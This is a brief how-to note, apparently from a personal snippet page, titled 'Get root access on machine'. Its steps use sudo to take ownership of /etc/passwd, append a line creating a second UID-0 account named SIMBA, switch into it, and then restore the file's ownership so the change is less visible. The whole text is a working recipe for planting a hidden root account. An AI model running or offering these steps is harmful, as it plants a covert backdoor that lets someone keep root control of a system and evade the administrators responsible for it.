LINUX - Get root access on machine

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1 Get root access on unix machine with standard account ACCOUNT : 

sudo chown ACCOUNT:ACCOUNT /etc/passwd
vi /etc/passwd

2 Add following line at the end of the file: 

SIMBA:x:0:0:root:/root:/bin/bash

3 Save, try it out and set back rights as before 

sudo su - SIMBA
sudo chown root:root /etc/passwd
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